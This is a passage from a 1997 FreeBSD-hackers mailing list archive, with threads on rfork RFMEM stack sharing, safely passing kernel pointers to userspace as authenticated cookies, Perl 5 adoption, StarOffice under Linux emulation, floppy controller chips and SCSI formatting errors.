officially abandoned by the Perl Gods. They didn't submit > any patch for it, nor did the CERT Advisory. We've fixed the bug only > in the FreeBSD tree. > Question from a newbie, why haven't we gone over to perl 5 yet in the base distribution? Brian Haskin From owner-freebsd-hackers Mon Sep 15 21:36:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA20870 for hackers-outgoing; Mon, 15 Sep 1997 21:36:28 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id VAA20865 for ; Mon, 15 Sep 1997 21:36:25 -0700 (PDT) Received: (qmail 11807 invoked by uid 1000); 16 Sep 1997 04:36:46 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199709141011.DAA01459@lestat.nas.nasa.gov> Date: Mon, 15 Sep 1997 21:36:46 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Jason Thorpe Subject: Re: What is wrong with this snipet? Cc: freebsd-hackers@freebsd.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi Jason Thorpe; On 14-Sep-97 you wrote: > On Sat, 13 Sep 1997 16:34:42 -0700 (PDT) > Simon Shapiro wrote: > > > Why would the following segfault on 6 of the 10 iterations? > > In the FreeBSD implementation of RFMEM (which does not match Plan 9's), > the child gets the same stack as the parent. If you "return" in the > child, > someone's stack gets munched. Not exactly useful, I'd say... --- Sincerely Yours, (Sent on 15-Sep-97, 21:20:55 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Mon Sep 15 21:57:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA24126 for hackers-outgoing; Mon, 15 Sep 1997 21:57:28 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id VAA24119 for ; Mon, 15 Sep 1997 21:57:23 -0700 (PDT) Received: (qmail 12129 invoked by uid 1000); 16 Sep 1997 04:57:46 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Date: Mon, 15 Sep 1997 21:57:46 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: FreeBSD-Hackers@FreeBSD.org Subject: Fast Encryption (in kernel) seeked Sender: owner-freebsd-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hi! It's me again! I have a specific integer (actually a pointer to a structure) which, for performance reasons, I want exported to userspace. What happens with this pointer is that sometimes later it comes back to the kernel. I want a QUICK was to encrypt it so that a melicious user cannot send a bad address into the kernel. The data comes and goes via special /dev entry in the form of READ, WRITE and IOCTL. The pointer in question is to a small structure and the data in the structure is safe from corruption. The reasonm for this mess is that the structure is created/anihilated via malloc/free and the process returning it to the kernel may not be the one that got it from the kernel. Instead of a key to search on, having the address is much faster. The security issue is obvious. If I could have a FAST machanism by which to ``sign'' the address, It would be advantageous way to handle it. If I put just a unique signature that I have to then search for, well, I knwo how to do that, and actually already do that. XORing the pointer can be safe from accidents, but too easy to fake. If this sounds like harebrain idea, it probably is :-) --- Sincerely Yours, (Sent on 15-Sep-97, 21:44:35 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Mon Sep 15 22:13:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA27158 for hackers-outgoing; Mon, 15 Sep 1997 22:13:06 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA27152 for ; Mon, 15 Sep 1997 22:13:03 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.8.6/8.8.5) id AAA00456; Tue, 16 Sep 1997 00:12:43 -0500 (EST) From: "John S. Dyson" Message-Id: <199709160512.AAA00456@dyson.iquest.net> Subject: Re: What is wrong with this snipet? In-Reply-To: from Simon Shapiro at "Sep 15, 97 09:36:46 pm" To: Shimon@i-Connect.Net (Simon Shapiro) Date: Tue, 16 Sep 1997 00:12:43 -0500 (EST) Cc: thorpej@nas.nasa.gov, freebsd-hackers@FreeBSD.ORG Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Simon Shapiro said: > > Hi Jason Thorpe; On 14-Sep-97 you wrote: > > On Sat, 13 Sep 1997 16:34:42 -0700 (PDT) > > Simon Shapiro wrote: > > > > > Why would the following segfault on 6 of the 10 iterations? > > > > In the FreeBSD implementation of RFMEM (which does not match Plan 9's), > > the child gets the same stack as the parent. If you "return" in the > > child, > > someone's stack gets munched. > > Not exactly useful, I'd say... > It actually is -- you just don't call RFMEM in the same way that you would call vfork. It is doing good things at work. John From owner-freebsd-hackers Mon Sep 15 22:48:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA04957 for hackers-outgoing; Mon, 15 Sep 1997 22:48:17 -0700 (PDT) Received: from mexico.brainstorm.eu.org (root@mexico.brainstorm.fr [193.56.58.253]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA04920 for ; Mon, 15 Sep 1997 22:48:11 -0700 (PDT) Received: from keltia.freenix.fr (keltia.glou.eu.org [193.56.58.65]) by mexico.brainstorm.eu.org (8.8.4/8.8.4) with ESMTP id HAA01887 for ; Tue, 16 Sep 1997 07:48:12 +0200 Received: (from roberto@localhost) by keltia.freenix.fr (8.8.7/keltia-uucp-2.10/nospam) id HAA02588; Tue, 16 Sep 1997 07:47:13 +0200 (CEST) Message-ID: <19970916074712.37645@keltia.freenix.fr> Date: Tue, 16 Sep 1997 07:47:12 +0200 From: Ollivier Robert To: hackers@FreeBSD.ORG Subject: Re: StarOffice... References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76 In-Reply-To: ; from The Hermit Hacker on Mon, Sep 15, 1997 at 09:38:04PM -0300 X-Operating-System: FreeBSD 3.0-CURRENT ctm#3649 AMD-K6 MMX @ 208 MHz Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to The Hermit Hacker: > I'm running a current 3.0 system, and am wondering if anyone is > having problems running StarOffice? I've got linux_mod loaded, as shown > by modstat. and try 'scalc3'...the process starts up, consumes a bunch of > CPU and then slowly degenerates into an idle process... I got the same problem recently (a week or so). Haven't tried again yet. -- Ollivier ROBERT -=- FreeBSD: There are no limits -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 3.0-CURRENT #34: Sun Sep 14 16:30:44 CEST 1997 From owner-freebsd-hackers Mon Sep 15 23:49:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA15951 for hackers-outgoing; Mon, 15 Sep 1997 23:49:14 -0700 (PDT) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA15922 for ; Mon, 15 Sep 1997 23:49:07 -0700 (PDT) Received: (from sos@localhost) by sos.freebsd.dk (8.8.7/8.7.3) id IAA25700; Tue, 16 Sep 1997 08:48:43 +0200 (MEST) From: Søren Schmidt Message-Id: <199709160648.IAA25700@sos.freebsd.dk> Subject: Re: StarOffice... In-Reply-To: from The Hermit Hacker at "Sep 15, 97 09:38:04 pm" To: scrappy@hub.org (The Hermit Hacker) Date: Tue, 16 Sep 1997 08:48:43 +0200 (MEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to The Hermit Hacker who wrote: > > > Hi... > > I'm running a current 3.0 system, and am wondering if anyone is > having problems running StarOffice? I've got linux_mod loaded, as shown > by modstat. and try 'scalc3'...the process starts up, consumes a bunch of > CPU and then slowly degenerates into an idle process... > > Anyone with similar experience? Yes, if I run the XF86SVGA server it just hangs there, if I use the XF86_S3V or Xaccell servers it works just fine, no waits no nothing. (It does take a bit to startup and show the advertizing, but thats normal and intended). -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-hackers Mon Sep 15 23:50:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA16278 for hackers-outgoing; Mon, 15 Sep 1997 23:50:44 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA16261 for ; Mon, 15 Sep 1997 23:50:40 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA04602 for freebsd-hackers@FreeBSD.ORG; Tue, 16 Sep 1997 08:50:38 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA19520; Tue, 16 Sep 1997 08:48:48 +0200 (MET DST) Message-ID: <19970916084847.PG30602@uriah.heep.sax.de> Date: Tue, 16 Sep 1997 08:48:47 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: sperl.. References: <19970916013224.LK21199@uriah.heep.sax.de> <341DFCBF.D4D18745@ptway.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <341DFCBF.D4D18745@ptway.com>; from Brian Haskin on Sep 15, 1997 23:27:59 -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Brian Haskin wrote: > Question from a newbie, why haven't we gone over to perl 5 yet in the > base distribution? Because nobody did the deed so far. It sounds simpler than it is, since I) we only want to add about the same amount of bloat^H^H^H^H^H functionality that is already there with Perl 4 (and leave the remainder out in the ports collection), and II) it needs to be converted to use Berkeley make. I think Peter has already done the latter, but i was eager to fix the security bug so Peter isn't pressed to a rushed Perl 5 import by such a constraint. In particular for 2.2-stable, the switch to Perl 5 shouldn't happen, since this is contradictionary to the idea of `stable' (scripts that are in use at a customer's site might break due to the syntax changes). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Sep 15 23:58:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA18246 for hackers-outgoing; Mon, 15 Sep 1997 23:58:30 -0700 (PDT) Received: from ptway.com (apollo.ptway.com [199.176.148.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA18239 for ; Mon, 15 Sep 1997 23:58:27 -0700 (PDT) Received: from brianjr.haskin.org (200R1.ptway.com [199.176.148.67]) by ptway.com (8.7.1/3.4W4-PTWAY-sco-ODT3.0) with ESMTP id CAA23043; Tue, 16 Sep 1997 02:51:00 -0400 (EDT) Message-ID: <341E2DC1.220444E7@ptway.com> Date: Tue, 16 Sep 1997 02:57:05 -0400 From: Brian Haskin X-Mailer: Mozilla 4.01 [en] (Win95; I) MIME-Version: 1.0 To: Simon Shapiro CC: FreeBSD-Hackers Subject: Re: Fast Encryption (in kernel) seeked X-Priority: 3 (Normal) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Simon Shapiro wrote: > > Hi! It's me again! > > I have a specific integer (actually a pointer to a structure) which, > for > performance reasons, I want exported to userspace. What happens with > this > pointer is that sometimes later it comes back to the kernel. > > I want a QUICK was to encrypt it so that a melicious user cannot send > a bad > address into the kernel. > > The data comes and goes via special /dev entry in the form of READ, > WRITE > and IOCTL. The pointer in question is to a small structure and the > data in > the structure is safe from corruption. > > The reasonm for this mess is that the structure is created/anihilated > via > malloc/free and the process returning it to the kernel may not be the > one > that got it from the kernel. Instead of a key to search on, having > the > address is much faster. The security issue is obvious. > > If I could have a FAST machanism by which to ``sign'' the address, It > would > be advantageous way to handle it. If I put just a unique signature > that I > have to then search for, well, I knwo how to do that, and actually > already > do that. XORing the pointer can be safe from accidents, but too easy > to > fake. > > If this sounds like harebrain idea, it probably is :-) > First let me say that I have not done any kernel programming so I don't know what services you have available. Ok one thing, even if the rest of this doesn't apply at all, no matter how you encrypt it EVEN if you went and implemented DES it won't do you any good if you use the same key every time or a readily determinable key. Forgive my ignorance but looking at your message I'm not sure if you want to encrypt the pointer, in which case the process your handing it to won't be able to access the structure, or if you just want to make sure that the structure your getting handed back is the same one that you handed out. If it's the latter and the content's are truly safe from being read by unauthorized processes then simply stuffing some random data in a signature field (preferably from dev/random. Not time of day, processes running, etc.) should be sufficient. If you really want to do the former it would probably be easier, and more secure, to simply pass a token (again consisting of random data) than the pointer, encrypted or not. But somehow I have the feeling the more I look at it that none of this is what you really want to do. :) If for some reason you really, really, want to and insist on passing an encrypted pointer please don't make up your own algorithm. There's plenty of good secure, peer reviewed ones out there to do the job. A good place to go for help in this situation would be coderpunks@toad.com Hope something I said can be of help. Brian Haskin disclaimer: if any or all of the above makes no sense, is totally off topic, has glaring flaws, helps out in no way whatsoever and simply adds confusion and bloat to the discussion. I blame it all on sleep deprivation. Well most of it anyway. :} From owner-freebsd-hackers Tue Sep 16 00:13:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA21873 for hackers-outgoing; Tue, 16 Sep 1997 00:13:44 -0700 (PDT) Received: from cicero.cybercity.dk (cicero.cybercity.dk [195.8.128.13]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA21852 for ; Tue, 16 Sep 1997 00:13:38 -0700 (PDT) Received: from schizo.dk.tfs.com (mail.trw.dk [195.8.133.123]) by cicero.cybercity.dk (8.8.5/8.8.5) with ESMTP id JAA05841; Tue, 16 Sep 1997 09:07:46 +0200 (CEST) Received: from critter.freebsd.dk (critter.dk.tfs.com [140.145.230.252]) by schizo.dk.tfs.com (8.8.7/8.7.3) with ESMTP id JAA07946; Tue, 16 Sep 1997 09:05:00 +0200 (MET DST) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id IAA00273; Tue, 16 Sep 1997 08:18:25 +0200 (CEST) To: Eivind Eklund cc: hackers@FreeBSD.ORG Subject: Re: Pre-conditions (was Re: cvs commit: src/sys/nfs nfs_vnops.c) In-reply-to: Your message of "Tue, 16 Sep 1997 01:32:28 +0200." <199709152332.BAA25440@bitbox.follo.net> Date: Tue, 16 Sep 1997 08:18:25 +0200 Message-ID: <271.874390705@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message <199709152332.BAA25440@bitbox.follo.net>, Eivind Eklund writes: > >> Modified files: >> sys/nfs nfs_vnops.c >> Log: >> Don't repeat checks done at general level. > >On a fairly general level: I'd have changed these to consistency >checks enclosed in #if DEBUG/#endif, and a panic (lacking a good >standardized assert facility; assert() is message-less and thus not >good enough). I like to make 'each routine its own castle' in >debugging mode, not trusting ANYTHING that is passed in from anywhere. > >How is this for other people? Is that considered unnecessary >cluttering of the sources? Done correctly, I find it a very good form >of documentation of each functions pre-conditions (and possibly >post-conditions/invariants, but that is much more clutter). If circumstances warrant it, ie: you suspect a problem in that area, by all means go ahead. If there is no sign of trouble, don't clutter the sources. In this particular case we're talkink about checks done against the vnodes, ie the generic layer, they belong in the generic layer, not in the individual filesystems. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-hackers Tue Sep 16 00:20:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA23756 for hackers-outgoing; Tue, 16 Sep 1997 00:20:45 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA23737 for ; Tue, 16 Sep 1997 00:20:39 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA04923 for hackers@FreeBSD.ORG; Tue, 16 Sep 1997 09:20:38 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id JAA19628; Tue, 16 Sep 1997 09:14:55 +0200 (MET DST) Message-ID: <19970916091455.RH14318@uriah.heep.sax.de> Date: Tue, 16 Sep 1997 09:14:55 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: Do *you* have problems with floppies? References: <19970916013516.JM28299@uriah.heep.sax.de> <199709160317.WAA27618@nospam.hiwaay.net> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709160317.WAA27618@nospam.hiwaay.net>; from dkelly@hiwaay.net on Sep 15, 1997 22:17:55 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As dkelly@hiwaay.net wrote: > > p.s.: Does your mainboard also have a Winbond chip for the FDC? Quite > > possible that this is the actual culprit. I think my board has an SMC > > chip. > > fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa > fdc0: NEC 72065B As i've stated earlier, this is just non-information only. You gotta open the case of your machine to learn what FDC you're using. The above information is wrong anyway, and it's impossible to get the actual FDC make by (documented) electronic means. I should drop the above message from the floppy driver, it's less than useless. Tor Egge seems to have traced his problem down to the Winbond chip, and the best guess one can make out of his test data is that the bus interface of the chip (*not* the floppy interface) is broken. Perhaps it's not noticing DMA overruns. > Also have access to a Gateway P133 with a VX chipset and same FDC but Really the same FDC? Again, verify visually. > have not had any problems with it. Nor with my $100 5x86/133 CPU & MB > which "only" has a NEC 765. A real NE765? I.e., the 40-pin chip? -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue Sep 16 00:21:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA23878 for hackers-outgoing; Tue, 16 Sep 1997 00:21:06 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA23846 for ; Tue, 16 Sep 1997 00:21:01 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA04937; Tue, 16 Sep 1997 09:21:00 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id JAA19686; Tue, 16 Sep 1997 09:20:27 +0200 (MET DST) Message-ID: <19970916092026.VJ28253@uriah.heep.sax.de> Date: Tue, 16 Sep 1997 09:20:26 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: mrcpu@cdsnet.net (Jaye Mathisen) Subject: Re: What could cause scsiformat to fail, yet controller format to work? References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Jaye Mathisen on Sep 15, 1997 17:57:33 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Jaye Mathisen wrote: > I have a new Fuji 9GB disk I'm playing with, and when I try to configure > it in a ccd, I get a medium error, asc:31,1. > > However, if I go into the Adaptec BIOS and do format media, it seems to > hum along just fine. Verify disk works as well. 31 00 DT W O MEDIUM FORMAT CORRUPTED Are you trying to use the plain disk device (/dev/rsd0), as opposed to the control device (/dev/rsd0.ctl)? This ASC/ASCQ is typical for trying to access a disk that is not completely formatted. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue Sep 16 00:40:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA29012 for hackers-outgoing; Tue, 16 Sep 1997 00:40:33 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA28996 for ; Tue, 16 Sep 1997 00:40:30 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id AAA28916; Tue, 16 Sep 1997 00:39:28 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd028914; Tue Sep 16 07:39:23 1997 Date: Tue, 16 Sep 1997 00:38:42 -0700 (PDT) From: Julian Elischer To: Simon Shapiro cc: FreeBSD-Hackers@FreeBSD.ORG Subject: Re: Fast Encryption (in kernel) seeked In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk To answer this question correctly, We need to know more details.. every algorythm has its day. It depends on what the situation is. For example, if there will be less than 100 of these 'pointers' outstanding at a time, different schemes would be used to the case where there are 100000 outstanding.. can you guarentee that each pointer given out will be 'returned'? will it be returned only once? what if a process dies while owning a pointer? when does the buffer become free? who allocates the buffers? I have code that does all this but it's only useful to you if what you want to do matches the goals of what I was designing for.. tell me more.. julian On Mon, 15 Sep 1997, Simon Shapiro wrote: > Hi! It's me again! > > I have a specific integer (actually a pointer to a structure) which, for > performance reasons, I want exported to userspace. What happens with this > pointer is that sometimes later it comes back to the kernel. > > I want a QUICK was to encrypt it so that a melicious user cannot send a bad > address into the kernel. > > The data comes and goes via special /dev entry in the form of READ, WRITE > and IOCTL. The pointer in question is to a small structure and the data in > the structure is safe from corruption. > > The reasonm for this mess is that the structure is created/anihilated via > malloc/free and the process returning it to the kernel may not be the one > that got it from the kernel. Instead of a key to search on, having the > address is much faster. The security issue is obvious. > > If I could have a FAST machanism by which to ``sign'' the address, It would > be advantageous way to handle it. If I put just a unique signature that I > have to then search for, well, I knwo how to do that, and actually already > do that. XORing the pointer can be safe from accidents, but too easy to > fake. > > If this sounds like harebrain idea, it probably is :-) > > --- > > > Sincerely Yours, (Sent on 15-Sep-97, 21:44:35 > by XF-Mail) > > Simon Shapiro Atlas Telecom > Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 > Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 > From owner-freebsd-hackers Tue Sep 16 00:40:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA29052 for hackers-outgoing; Tue, 16 Sep 1997 00:40:39 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA29031 for ; Tue, 16 Sep 1997 00:40:35 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id AAA28765; Tue, 16 Sep 1997 00:31:38 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd028762; Tue Sep 16 07:31:30 1997 Date: Tue, 16 Sep 1997 00:30:50 -0700 (PDT) From: Julian Elischer To: Simon Shapiro cc: Jason Thorpe , freebsd-hackers@FreeBSD.ORG Subject: Re: What is wrong with this snipet? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 15 Sep 1997, Simon Shapiro wrote: > > Hi Jason Thorpe; On 14-Sep-97 you wrote: > > On Sat, 13 Sep 1997 16:34:42 -0700 (PDT) > > Simon Shapiro wrote: > > > > > Why would the following segfault on 6 of the 10 iterations? > > > > In the FreeBSD implementation of RFMEM (which does not match Plan 9's), > > the child gets the same stack as the parent. If you "return" in the > > child, > > someone's stack gets munched. > > Not exactly useful, I'd say... I beg to dissagree. it does exactly what it says it does.. "Share entire address space" How are you going to share address spaces if you don't share the stack.. last time I looked the stack was a part of the address space. The aim of this is the same as the Linux CLONE() call. The processes with shared address spaces look to all the world the same as two threads in the same process. Obviously, multiple threads in the same process can see each other's stacks etc, and various 'threads' in a process can 'migrate' to the other process if all shared processes can see all the stacks.. The secret is to allocate a new stack before the rfork() for the child, and make sure that it does a longjmp() to it the moment that it returns, leaving the stack uncorrupted for the returning parent. Usually this is all hidden inside a library routine called thread_fork() or similar. rfork() just supplies the mechanism. julian > > --- > > > Sincerely Yours, (Sent on 15-Sep-97, 21:20:55 > by XF-Mail) > > Simon Shapiro Atlas Telecom > Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 > Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 > From owner-freebsd-hackers Tue Sep 16 00:52:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA02066 for hackers-outgoing; Tue, 16 Sep 1997 00:52:07 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA02009 for ; Tue, 16 Sep 1997 00:51:56 -0700 (PDT) Received: (qmail 11006 invoked by uid 1000); 16 Sep 1997 07:51:56 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 In-Reply-To: <341E2DC1.220444E7@ptway.com> Date: Tue, 16 Sep 1997 00:51:56 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Brian Haskin Subject: Re: Fast Encryption (in kernel) seeked Cc: FreeBSD-Hackers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Brian Haskin; On 16-Sep-97 you wrote: ... > Ok one thing, even if the rest of this doesn't apply at all, no matter > how you encrypt it EVEN if you went and implemented DES it won't do you > any good if you use the same key every time or a readily determinable > key. Yup. We understand that. > Forgive my ignorance but looking at your message I'm not sure if you > want to encrypt the pointer, in which case the process your handing it > to won't be able to access the structure, or if you just want to make > sure that the structure your getting handed back is the same one that > you handed out. Forget about a pointer. Thnk about a cookie. I hand you a cookie and a key. With the key I can authenticate you and the cookie. If you passed the pair to someone else, that's fine. But the trichk is to know that the cookie is good. As I said, if I have to go look for the original where the cookie came from, than nothing was gained. A very simplistic example is to say: u_int32_t cookie = (uin32_t)something_else; u_int32_t token = ~cookie; Then we pass both cookie and token to userspace. When we get them back, sometime later, we do: if ( cookie == ~token ) all is well; else something bad; The only problem here, is that if you meliciously give me a bad cookie and a matching token, I will never know what hit me. One solution could be md5. If I could md5 the outgoing cookie and then md5 the incoming cookie, I would have a reasonable certainty the cookie is valid. This means I could give you the cookie but not the token, and carefully check the incoming cookie against a secret token. But this checking needs to reliable and FAST. ... > If for some reason you really, really, want to and insist on passing an > encrypted pointer please don't make up your own algorithm. There's > plenty of good secure, peer reviewed ones out there to do the job. A > good place to go for help in this situation would be coderpunks@toad.com This is why I posted a question... Thanx! --- Sincerely Yours, (Sent on 16-Sep-97, 00:27:21 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Tue Sep 16 00:52:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA02186 for hackers-outgoing; Tue, 16 Sep 1997 00:52:28 -0700 (PDT) Received: from bunyip.cc.uq.edu.au (daemon@bunyip.cc.uq.edu.au [130.102.2.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA02152 for ; Tue, 16 Sep 1997 00:52:22 -0700 (PDT) Received: (from daemon@localhost) by bunyip.cc.uq.edu.au (8.8.7/8.8.7) id RAA07394; Tue, 16 Sep 1997 17:51:54 +1000 Received: from localhost.dtir.qld.gov.au by ogre.dtir.qld.gov.au (8.7.5/DEVETIR-E0.3a) with SMTP id 